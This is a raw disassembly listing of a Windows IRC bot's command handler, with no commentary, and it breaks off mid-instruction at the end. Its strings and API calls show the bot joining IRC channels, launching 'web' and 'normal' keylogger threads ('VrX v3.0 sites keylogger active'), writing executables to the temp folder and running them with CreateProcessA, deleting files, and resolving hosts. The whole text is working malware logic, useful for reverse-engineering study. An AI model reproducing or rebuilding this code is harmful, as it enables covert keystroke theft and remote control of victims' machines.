sub_401ACD+4A16j push edi lea eax, [ebp+var_3F08] push 104h push eax call sub_41C360 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408211 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_408211 push eax lea eax, [ebp+var_3E04] push eax call sub_41C266 pop ecx pop ecx loc_408211: ; CODE XREF: sub_401ACD+6722j ; sub_401ACD+6733j push [ebp+var_88] lea eax, [ebp+var_3F88] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset unk_42A578 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset sub_417054 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4082C3 loc_4082B1: ; CODE XREF: sub_401ACD+67F4j cmp [ebp+var_3CF4], ebx jnz short loc_4082DE push 32h call dword_427080 ; Sleep jmp short loc_4082B1 ; --------------------------------------------------------------------------- loc_4082C3: ; CODE XREF: sub_401ACD+67E2j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A53C loc_4082CF: ; CODE XREF: sub_401ACD+909j ; sub_401ACD+A47j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_4082DE: ; CODE XREF: sub_401ACD+7C5j ; sub_401ACD+930j ... push 1 pop esi jmp loc_406C22 ; --------------------------------------------------------------------------- loc_4082E6: ; CODE XREF: sub_401ACD+49D1j ; sub_401ACD+49E8j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41BF70 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi mov [ebp+var_63C], esi call sub_41C159 add esp, 10h cmp eax, esi jnz short loc_408323 mov [ebp+var_638], 5 loc_408323: ; CODE XREF: sub_401ACD+684Bj cmp [ebp+var_C], ebx jz loc_406BFE push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406BFE lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call dword_427074 ; CreateProcessA test eax, eax jnz short loc_40836E push offset unk_42A518 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40836E: ; CODE XREF: sub_401ACD+6895j push edi push offset dword_42A4FC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408379: ; CODE XREF: sub_401ACD+49A3j ; sub_401ACD+49BAj push [ebp+arg_18] push offset aDoos ; "DOOS" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4084F0 lea eax, [ebp+var_4BF8] push eax push 104h call dword_4270B8 ; GetTempPathA push 0FFh lea eax, [ebp+var_25D4] push edi push eax call sub_41BFD0 lea eax, [ebp+var_17D4] push eax call sub_40AB77 add esp, 10h push eax lea eax, [ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset aSS_exe ; "%s%s.exe" push eax call sub_41C266 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_40840E push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_408414 ; --------------------------------------------------------------------------- loc_40840E: ; CODE XREF: sub_401ACD+692Bj mov [ebp+var_23C4], ebx loc_408414: ; CODE XREF: sub_401ACD+693Fj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40842B push esi call sub_41C159 pop ecx mov [ebp+var_23C8], eax jmp short loc_408431 ; --------------------------------------------------------------------------- loc_40842B: ; CODE XREF: sub_401ACD+694Dj mov [ebp+var_23C8], ebx loc_408431: ; CODE XREF: sub_401ACD+695Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax push edi lea eax, [ebp+var_2C4] push offset dword_42A4C4 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B3BA add esp, 18h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset sub_4167A0 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4084DF loc_4084C9: ; CODE XREF: sub_401ACD+6A10j cmp [ebp+var_23B4], ebx jnz loc_406BFE push 32h call dword_427080 ; Sleep jmp short loc_4084C9 ; --------------------------------------------------------------------------- loc_4084DF: ; CODE XREF: sub_401ACD+69FAj call dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42A488 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_4084F0: ; CODE XREF: sub_401ACD+68BDj push offset dword_42A440 loc_4084F5: ; CODE XREF: sub_401ACD+2E30j ; sub_401ACD+447Dj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_406BFE ; --------------------------------------------------------------------------- loc_408508: ; CODE XREF: sub_401ACD+4975j ; sub_401ACD+498Cj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 push edi call sub_41C159 add esp, 28h test eax, eax jle short loc_408591 push edi call sub_41C159 imul eax, 3E8h pop ecx push eax call dword_427080 ; Sleep loc_408591: ; CODE XREF: sub_401ACD+6AAEj push offset dword_42A41C call sub_415D38 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4085A5: ; CODE XREF: sub_401ACD+4947j ; sub_401ACD+495Ej push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_41CA50 add esp, 10h test eax, eax push esi jz short loc_408664 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset unk_42A404 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h test eax, eax jle loc_409644 push edi call sub_41C159 add eax, [ebp+arg_24] pop ecx jmp loc_401F78 ; --------------------------------------------------------------------------- loc_408664: ; CODE XREF: sub_401ACD+6B1Dj lea eax, [ebp+var_2C4] push offset unk_42A3D0 push eax call sub_41C266 add esp, 0Ch loc_408678: ; CODE XREF: sub_401ACD+74E3j cmp [ebp+var_8], ebx jnz short loc_408699 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_408699: ; CODE XREF: sub_401ACD+6BAEj ; sub_401ACD+71C7j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_409643 ; --------------------------------------------------------------------------- loc_4086AA: ; CODE XREF: sub_401ACD+4919j ; sub_401ACD+4930j push 7Fh lea eax, [ebp+var_2218] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2198] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2118] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2094], eax mov eax, [ebp+var_8] mov [ebp+var_221C], esi push [ebp+arg_18] mov [ebp+var_2090], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A39C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset sub_414F57 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40876E loc_408758: ; CODE XREF: sub_401ACD+6C9Fj cmp [ebp+var_208C], ebx jnz loc_40885A push 32h call dword_427080 ; Sleep jmp short loc_408758 ; --------------------------------------------------------------------------- loc_40876E: ; CODE XREF: sub_401ACD+6C89j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A360 jmp loc_40884B ; --------------------------------------------------------------------------- loc_40877F: ; CODE XREF: sub_401ACD+48EBj ; sub_401ACD+4902j push 7Fh lea eax, [ebp+var_23AC] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_232C] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_22AC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2228], eax mov eax, [ebp+var_8] mov [ebp+var_23B0], esi push [ebp+arg_18] mov [ebp+var_2224], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A334 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset sub_414703 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40883F loc_40882D: ; CODE XREF: sub_401ACD+6D70j cmp [ebp+var_2220], ebx jnz short loc_40885A push 32h call dword_427080 ; Sleep jmp short loc_40882D ; --------------------------------------------------------------------------- loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej call dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42A2F8 loc_40884B: ; CODE XREF: sub_401ACD+6CADj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_40885A: ; CODE XREF: sub_401ACD+6C91j ; sub_401ACD+6D66j cmp [ebp+var_8], ebx jnz loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403FB6 ; --------------------------------------------------------------------------- loc_40887A: ; CODE XREF: sub_401ACD+48BDj ; sub_401ACD+48D4j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42A2F0 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h loc_408897: ; CODE XREF: sub_401ACD+6E31j test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 loc_4088B1: ; CODE XREF: sub_401ACD+789Bj lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_4088DA: ; CODE XREF: sub_401ACD+488Fj ; sub_401ACD+48A6j push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+arg_18] push offset dword_42A2DC push eax call sub_41C266 push edi call sub_41C159 add esp, 14h jmp short loc_408897 ; --------------------------------------------------------------------------- loc_408900: ; CODE XREF: sub_401ACD+4861j ; sub_401ACD+4878j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_42A2C0 loc_408967: ; CODE XREF: sub_401ACD+6F24j ; sub_401ACD+6F92j ... call sub_415DAC jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_408971: ; CODE XREF: sub_401ACD+4833j ; sub_401ACD+484Aj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4089A2 push esi lea eax, [ebp+var_2C4] push offset dword_42A2B8 push eax call sub_41C266 add esp, 0Ch loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A29C jmp loc_408967 ; --------------------------------------------------------------------------- loc_4089F6: ; CODE XREF: sub_401ACD+4805j ; sub_401ACD+481Cj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push esi push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A280 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408A64: ; CODE XREF: sub_401ACD+47D7j ; sub_401ACD+47EEj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_42A258 jmp loc_40963D ; --------------------------------------------------------------------------- loc_408A9E: ; CODE XREF: sub_401ACD+47A9j ; sub_401ACD+47C0j push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 push [ebp+arg_18] push offset dword_42A24C push [ebp+arg_4] call sub_409823 push edi call sub_41C159 imul eax, 3E8h add esp, 10h push eax call dword_427080 ; Sleep push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 push offset dword_42A238 call sub_415D38 jmp loc_4034BF ; --------------------------------------------------------------------------- loc_408B04: ; CODE XREF: sub_401ACD+477Bj ; sub_401ACD+4792j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push esi lea eax, [ebp+var_2C4] push offset dword_42A968 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_4] call sub_409869 add esp, 20h push esi push edi push offset unk_42A21C jmp loc_408967 ; --------------------------------------------------------------------------- loc_408B6D: ; CODE XREF: sub_401ACD+474Dj ; sub_401ACD+4764j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_409869 add esp, 14h push esi push edi push offset unk_42A200 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408BBE: ; CODE XREF: sub_401ACD+471Fj ; sub_401ACD+4736j cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 push eax push edi call sub_415C40 pop ecx pop ecx push edi push offset unk_42A1E4 jmp loc_40723F ; --------------------------------------------------------------------------- loc_408BF0: ; CODE XREF: sub_401ACD+46F1j ; sub_401ACD+4708j push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418A2E loc_408C05: ; CODE XREF: sub_401ACD+25ECj add esp, 14h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408C0D: ; CODE XREF: sub_401ACD+46B1j ; sub_401ACD+46C8j push edi push [ebp+arg_1C] call sub_41C2E0 pop ecx test eax, eax pop ecx jz loc_409644 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408CB1 push esi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408C99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push edi push offset unk_42A1C0 push eax call sub_41C266 add esp, 10h inc [ebp+arg_24] jmp loc_408699 ; --------------------------------------------------------------------------- loc_408C99: ; CODE XREF: sub_401ACD+7171j lea eax, [ebp+var_2C4] push offset unk_42A190 push eax call sub_41C266 pop ecx pop ecx jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CB1: ; CODE XREF: sub_401ACD+715Cj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h lea eax, [ebp+var_2C4] push edi push offset unk_42A178 push 200h push eax call sub_41C360 add esp, 10h jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CFB: ; CODE XREF: sub_401ACD+4434j ; sub_401ACD+444Bj push edi push 23h push offset aKeylog_0 ; "Keylog" push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." loc_408D08: ; CODE XREF: sub_401ACD+103Cj ; sub_401ACD+108Fj ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B648 add esp, 20h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408D24: ; CODE XREF: sub_401ACD+4406j ; sub_401ACD+441Dj push 23h call sub_40B602 test eax, eax pop ecx jle short loc_408D3A push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408D3A: ; CODE XREF: sub_401ACD+7261j mov eax, [ebp+arg_4] push edi mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DB9 mov esi, [ebp+esi+var_88] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408D9D mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408D9D mov esi, [ebp+var_88] loc_408D9D: ; CODE XREF: sub_401ACD+72B2j ; sub_401ACD+72C8j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." jmp short loc_408E0F ; --------------------------------------------------------------------------- loc_408DB9: ; CODE XREF: sub_401ACD+729Dj push edi push offset aNormal_0 ; "normal" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_408E97 mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_408DF5 mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DF5 mov esi, [ebp+var_88] loc_408DF5: ; CODE XREF: sub_401ACD+730Aj ; sub_401ACD+7320j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aNormalKeyLogge ; "Normal key logger active." loc_408E0F: ; CODE XREF: sub_401ACD+72EAj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push ebx push 23h push eax call sub_40B3BA add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_4126A7 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408E7A loc_408E64: ; CODE XREF: sub_401ACD+73ABj cmp [ebp+var_A04], ebx jnz loc_4081AD push 32h call dword_427080 ; Sleep jmp short loc_408E64 ; --------------------------------------------------------------------------- loc_408E7A: ; CODE XREF: sub_401ACD+7395j call dword_427094 ; RtlGetLastWin32Error push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... loc_408E86: ; CODE XREF: sub_401ACD+20F8j ; sub_401ACD+2E94j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_408E97: ; CODE XREF: sub_401ACD+72FBj push offset aUnknowModeType ; "Unknow mode type." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408EA1: ; CODE XREF: sub_401ACD+4065j ; sub_401ACD+407Cj push offset aR ; "r" push edi call sub_41BEA2 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408F0D mov ebx, 200h push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 0Ch loc_408ECA: ; CODE XREF: sub_401ACD+742Cj test eax, eax jz short loc_408EFB push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 20h jmp short loc_408ECA ; --------------------------------------------------------------------------- loc_408EFB: ; CODE XREF: sub_401ACD+73FFj push esi call sub_41BA3B pop ecx push edi push offset unk_42A0A4 jmp loc_409091 ; --------------------------------------------------------------------------- loc_408F0D: ; CODE XREF: sub_401ACD+73E5j push edi push offset unk_42A084 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408F18: ; CODE XREF: sub_401ACD+4037j ; sub_401ACD+404Ej cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push offset asc_42A080 ; "\n" push esi call sub_41C8A0 push esi call sub_419F9D add esp, 0Ch test eax, eax jnz short loc_408F55 push offset unk_42A054 jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F55: ; CODE XREF: sub_401ACD+747Fj push esi lea eax, [ebp+var_2C4] push offset dword_42A03C push eax call sub_41C266 add esp, 0Ch jmp loc_408699 ; --------------------------------------------------------------------------- loc_408F6F: ; CODE XREF: sub_401ACD+4009j ; sub_401ACD+4020j cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_409644 push eax call sub_41875E test eax, eax pop ecx jnz short loc_408F9D push offset unk_42A01C jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F9D: ; CODE XREF: sub_401ACD+74C7j push offset dword_42A000 loc_408FA2: ; CODE XREF: sub_401ACD+7486j ; sub_401ACD+74CEj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_408678 ; --------------------------------------------------------------------------- loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj ; sub_401ACD+3FF2j push 7Fh lea eax, [ebp+var_2084] push edi push eax call sub_41BFD0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_408FE4 push 7Fh lea eax, [ebp+var_2004] push esi push eax call sub_41BFD0 add esp, 0Ch loc_408FE4: ; CODE XREF: sub_401ACD+7503j push 7Fh lea eax, [ebp+var_1F84] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax push edi lea eax, [ebp+var_2C4] push offset dword_429FE8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B3BA add esp, 18h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset sub_41B302 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_409085 loc_40906F: ; CODE XREF: sub_401ACD+75B6j cmp [ebp+var_1EF8], ebx jnz loc_406C1F push 32h call dword_427080 ; Sleep jmp short loc_40906F ; --------------------------------------------------------------------------- loc_409085: ; CODE XREF: sub_401ACD+75A0j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_429FA8 loc_409091: ; CODE XREF: sub_401ACD+298Bj ; sub_401ACD+743Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_406C1F ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+3FADj ; sub_401ACD+3FC4j push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_41036B add esp, 10h push edi push offset dword_429F90 jmp loc_40963D ; --------------------------------------------------------------------------- loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj ; sub_401ACD+3F96j push 14h lea eax, [ebp+var_1D4C] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1D38] push edi push offset aS_2 ; "%s" push eax call sub_41C266 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D54], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C34] push 80h push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+var_2C4] push offset unk_429F6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset sub_4161C1 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40918A: ; CODE XREF: sub_401ACD+76D1j cmp [ebp+var_1BA4], ebx jnz loc_4082DE push 32h call dword_427080 ; Sleep jmp short loc_40918A ; --------------------------------------------------------------------------- loc_4091A0: ; CODE XREF: sub_401ACD+3F51j ; sub_401ACD+3F68j push edi call dword_427088 ; DeleteFileA test eax, eax jz short loc_4091C7 push edi push offset dword_429F50 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_40929A ; --------------------------------------------------------------------------- loc_4091C7: ; CODE XREF: sub_401ACD+76DCj push offset dword_42A5A8 call sub_418699 pop ecx push eax jmp loc_403EED ; --------------------------------------------------------------------------- loc_4091D8: ; CODE XREF: sub_401ACD+3F23j ; sub_401ACD+3F3Aj push edi call sub_41C159 push eax call sub_419F16 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4091F5 push offset unk_429F2C jmp short loc_4091FA ; --------------------------------------------------------------------------- loc_4091F5: ; CODE XREF: sub_401ACD+771Fj push offset unk_429EFC loc_4091FA: ; CODE XREF: sub_401ACD+7726j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406C22 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_406C22 ; --------------------------------------------------------------------------- loc_409233: ; CODE XREF: sub_401ACD+3EF5j ; sub_401ACD+3F0Cj push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419C09 add esp, 18h cmp eax, 1 push edi jnz short loc_409255 push offset unk_429EDC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409255: ; CODE XREF: sub_401ACD+777Cj push offset unk_429EAC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40925F: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDEj push edi call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_4092A2 push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB98C ; gethostbyaddr cmp eax, ebx jz short loc_4092BD push dword ptr [eax] loc_409288: ; CODE XREF: sub_401ACD+77EEj push edi lea eax, [ebp+var_2C4] push offset unk_429E8C push eax call sub_41C266 loc_40929A: ; CODE XREF: sub_401ACD+76F5j add esp, 10h jmp loc_406BFE ; --------------------------------------------------------------------------- loc_4092A2: ; CODE XREF: sub_401ACD+77A2j push edi call dword_4CBA58 ; gethostbyname cmp eax, ebx jz short 